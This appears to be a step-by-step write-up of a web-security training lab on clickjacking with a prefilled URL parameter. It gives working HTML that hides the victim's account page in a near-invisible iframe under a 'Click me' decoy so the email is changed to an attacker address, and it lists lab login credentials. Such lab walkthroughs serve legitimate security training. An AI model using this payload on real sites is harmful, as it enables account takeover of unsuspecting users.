

This lab extends the basic [clickjacking example](#) in [Lab: Basic clickjacking with CSRF token protection](#). The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button.

To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed.

You can log in to your own account using the following credentials: `wiener:peter`

## Head to the Exploit Server

[Go to exploit server](#)

## Paste In the Frame and Update URL/Email

Body:

```
<style>
  iframe {
    position: relative;
    width: 700;
    height: 500;
    opacity: 0.1;
    z-index: 2;
  }
  div {
    position: absolute;
    top: 450;
    left: 80;
    z-index: 1;
  }
</style>
<div>Test me</div>
<iframe src="https://0aad004d0485a093c0e5464000a00017.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
```

## Make Sure The "TEST ME" Aligns with Update Email Button

[Go to exploit server](#)[Back to lab description](#)

### My Account

Your username is: wiener

Your email is: wiener@normal-user.net

Email

hacker@attacker-website.com

UpTest me mail

### Change Button To "CLICK ME" and Opacity to Very See Through

```
height: 500;
opacity: 0.00000001;
z-index: 2;
}
div {
  position: absolute;
  top: 450;
  left: 80;
  z-index: 1;
}
</style>
<div>CLICK ME</div>
<iframe src="https://0aad004d0485a093c0e54640"
```

### Should Look Like This

CLICK ME

Deliver Exploit



Looks Like User Clicked The Button

Congratulations, you solved the lab!